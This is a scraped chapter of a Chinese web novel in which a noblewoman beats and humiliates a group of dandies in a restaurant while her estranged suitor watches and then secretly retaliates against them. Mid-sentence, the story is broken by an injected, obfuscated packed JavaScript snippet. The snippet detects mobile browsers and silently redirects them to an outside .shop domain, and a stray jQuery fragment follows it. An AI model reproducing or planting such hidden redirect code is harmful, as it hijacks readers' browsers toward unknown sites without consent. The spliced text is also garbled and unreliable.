文趣网 > 其他小说 > 丞相今天也在追妻 > 30. 打架
    文瑾身旁的人也跟着文瑾一道对姜清虞冷嘲热讽。

    裴曲面色沉了下去,听晚气得身子都发抖,小姐何时被人这么当面辱骂过?!

    她站起身想要同这些人理论,却被姜清虞按下。

    姜清虞轻轻放下手中筷子,似笑非笑地一个一个打量着他们的脸。

    那些纨绔被她看得心中发毛,文瑾更是被看得怒从心头起,几步冲上前打算掀了姜清虞的桌子。

    姜清虞却并不给他这个机会,先发制人地将手下桌子猛地一掀,整张桌子被她掀翻了出去,连带着桌上的那些汤汤水水和陶瓷碗筷全都直冲文瑾而去。

    文瑾瞳孔骤缩,下意识做出防护的姿态,却完全躲闪不及,被桌子直直砸中胸口,整个人都向后倒去,压在了他身后那些跟着他一起的纨绔身上。

    那些人被桌上热汤热菜兜头盖脸浇了一脸,躺在地上哭天喊地起来。

    瞬间,酒楼原本在看热闹的人连呼吸都停住了,像是完全不敢相信自己看见了什么。

    听晚从小跟着姜清虞到大,早就练就了姜清虞在外惹祸她赶紧擦屁股的本事。

    如今姜清虞同裴曲练了武,惹起祸那更是肆无忌惮起来。

    她拉着裴曲就关上了酒楼的门,将门板合上栓好,让裴曲看好门,别让人出去,免得有人一出去就要报官。

    又转身拦住想要逃出去暂避风头的酒楼老板。

    她笑眯眯同老板商量道:“老板,这酒楼就先关门,我来同你商讨商讨赔偿事宜,你看如何?”

    老板自是赔笑,心中暗暗叫苦:“好,好,听晚姑娘说得是。”

    裴曲稀奇看着听晚熟稔处理事情的模样,心中又为姜清虞果然不会委屈自己而高兴。

    他抱臂守在酒楼门口,侧身靠着门沿,勾起唇,心情看着莫名其妙地有些愉悦。

    姜清虞余光看见听晚和裴曲两人已经迅速控制了现场,将目光重新投向那些人。

    她慢悠悠一步一步走到那几个纨绔面前,居高临下看着他们在地上面目扭曲地打滚。

    为首的文瑾受伤最重,捂着胸口痛苦地喘气,挣扎着想要站起来却根本一丝站起来的力气都无。

    他抬手用袖子抹掉脸上的饭菜汤水,一抬眼,便看见姜清虞抱臂站在他面前,站在一堆脏污汤水之中,却连裙角都没沾到半分。

    姜清虞抬起脚,狠狠踩在了文瑾的胸口上,鞋底的沾上的汤水又黏在他胸口的衣料上。

    姜清虞面色冷得像一块冰。

    “文瑾,”她的声音不大不小,却足够寂静的大厅里所有人都能够听得清楚,“你方才说什么?再说一遍”。

    文瑾被姜清虞踩中胸口,愈发上气不接下气,脸因为呼吸不畅涨得通红。

    他听见姜清虞这么说,虽然心里头已经怕了,但面上却还在嘴硬:“你,你敢当众对我动手?!姜清虞你这个贱……”

    他最后那个‘人’还没说出口,姜清虞脚下用力,碾了碾文瑾的胸口,硬生生把他逼得吐了一口血出来。

    “还敢骂人?”姜清虞低下头,盯着他不断颤动的瞳孔,“骂谁贱人呢?”

    文瑾这下是彻底害怕了,他牙齿都在打颤,咯吱咯吱地响。

    “我!”他惊恐道,“我,我是贱人,是我。”

    “谁身上有毛病?”姜清虞继续来回碾压他的胸膛,问。

    文瑾粗喘了两口气,感受到胸膛上力道加重,忙接着道:“我!是我!都是我。”

    见他怕了,姜清虞歪着头欣赏了会儿,突然唇角掀起,捂着肚子高兴地笑。

    笑声在大厅中回荡,清亮悦耳的少女声音,却让在场除了裴曲和听晚的每个人听了心中都直发怵。

    半晌,她突然收起笑,冷若冰霜,仿佛方才的笑都是错觉。

    被她踩在地上的文瑾害怕的吞了口唾沫,浑身发抖,口中吐出来的血流了半张脸也浑然不知。

    姜清虞轻声道:“怕什么?我又不能打死你。”

    文瑾一听,抖得更厉害了。

    姜清虞看他这副怂样,又抬眸去看还躺在地上的其他人。

    其余几人也纷纷回避她的视线,不敢看她。

    姜清虞啧一声,还在地上躺着的这几人便狠抖了一下。

    “胆子这么小,都敢在我面前乱嚼舌根?从前我给你们脸了是吗?”

    “没,没有,没有。”

    姜清虞眼角扫了他们一眼,哼了一声,又重重碾了一下,才松开脚,顺脚将文瑾往旁边一踢。

    文瑾被踢得滚了好几圈,撞在了其他人身上,几人下意识想痛苦嚎叫,又被姜清虞的目光给震慑住,只能蜷着身子喘气,不敢说一个字。

    姜清虞站在大厅的一片狼藉之间,环顾四周。

    其余被迫待在酒楼中的食客噤若寒蝉,被姜清虞的目光扫到就下意识垂下眼,不敢与她对视。

    姜清虞收回目光,这段时日有些郁郁的心情总算因为单方面打了人一顿而好转。

    听晚早就已经同老板商议好了赔偿事宜,见姜清虞已经解决了这些人,急忙过来,帮她整理因为揍人而已经弄得有些乱的袍角。

    裴曲与她对视一眼,笑了下,做了个口型:“真厉害。”

    姜清虞不着痕迹勾了勾唇,又很快抿起嘴,尽量不破坏自己现在的气势。

    她转身,转身打算朝门口走去。

    却在刚一转身的时候,余光瞥见楼梯口方向的人影,

    姬睢站在那里,手还扶着楼梯的栏杆,显然是从二楼匆匆下来的。

    他方才在二楼看见那几个纨绔进门的时候便已经站起来了,等到姜清虞掀桌动手的时候,他已经下了楼梯。

    可还是晚了一步。

    姬睢见姜清虞路过他,下意识想张口叫住她,又突然想起此时两人的关系在外人看来已经破裂。

    自己也不能因为一时冲动而让这个计划功亏一篑,便习惯性地又在面上摆出那副冷淡疏离的表情。

    他原以为姜清虞脸上会出现受伤的神色,可姜清虞的目光从他脸上掠过,像是在看一件楼梯边最寻常的摆件,没有停顿,甚至连一丝多余的情绪都没有。

    她径直从他身边走过,走到裴曲和听晚旁旁,又朝柜台后的老板道:“弄坏了你多少东西,报个数,回头让人去安王

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17973339|210963||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    府取银子,或者直接报给听晚就行。”

    她顿了顿,又道:“三倍赔你。”

    老板原来皱成一团的苦瓜脸瞬间发自内心的心花怒放,接连哎哎了两声,又对着姜清虞恭维了好几句。

    姬睢站在楼梯口,看着姜清虞的背影,忽然觉得心脏像是被什么东西给生生切了一块,拉扯着他全身都开始剧烈疼痛,连呼吸都泛着血气。

    她看着真的完全不在乎自己了。

    姬睢明知道这才是正常的,他从小便知道姜清虞敢爱敢恨爱恨分明,他也早已经做好了心理准备,可当真的到这一天的时候,他还是忍不住的在心中泛起后悔的情绪。

    阿清从前从来不会对他这样的。

    再生气也没这么对过他。

    他眼也不眨地看见姜清虞走到裴曲身旁,控制住自己脸上快要绷不住的情绪。

    阿颂看见主子的步子都快要冲着郡主迈出去了,连忙小声道:“主子,别冲动。”

    姬睢闭了闭眼,调整了下呼吸,没叫在场任何人看出来他此刻内心的挣扎与痛苦。

    再睁开眼,却看见的是裴曲略带挑衅的视线。

    裴曲看见姜清虞向他走来,便大声道:“阿清,真厉害,是用的我教你的武功,活学活用,太有天赋了。”

    姜清虞不觉有异,听了裴曲这位师父对她的夸奖,真心实意地笑了:“那还是你这位师父教得好。”

    两人谈话之间,姜清虞已经走进裴曲,裴曲又装模作样地帮她整理早已经被听晚整理好了的袍角,直到姜清虞有些不适地后退了一步,才施施然松开手。

    姜清虞原本想要直接打道回府,却听见裴曲忽然道:“好不容易你愿意出来了,正巧如今天也黑了,不如去外头的夜市逛逛?”

    姜清虞愣了一下,下意识想要拒绝,可对了裴曲那双亮晶晶的眼睛,到了嘴边的拒绝还是被咽了下去。

    “那便去吧。”

    裴曲笑了起来,替她开门,原本打算扶她上马车,却被姜清虞给躲过,让她自己上了。

    听晚跟着钻了进去,裴曲坐在车辕上一甩鞭子,马车便直冲夜市方向而去。

    姬睢站在原地目送姜清虞的马车彻底消失,面上的神情一点一点沉下去。

    他垂着眼看见那几个纨绔正被自家下人搀扶着,狼狈不堪地从地上爬了起来。

    文瑾被揍得吐血了也不得安生,嘴里还说这不干不净的话,说什么“姜清虞那个贱人”“早早早她好看”。

    姬睢收回目光,低声对着身后的阿颂吩咐了几句。

    阿颂领命退下。

    没过多久,坐上自家马车准备去京兆尹报官的几人突然爆发出隔着半条街都能听见的惨叫声。

    姬睢踱步过去,看见几人的马车倒塌成了一堆废料,里面的人也摔了个七荤八素。

    他又对着回来的阿颂道:“去给安王递个消息,让他将这件事给压下来,别让他们蹦得更高了。”

    “是。”

    阿颂走后,姬睢站在醉香楼的门口,看着不远处那片混乱的景象,面色平静无波。

    他们什么东西,都能欺辱阿清了。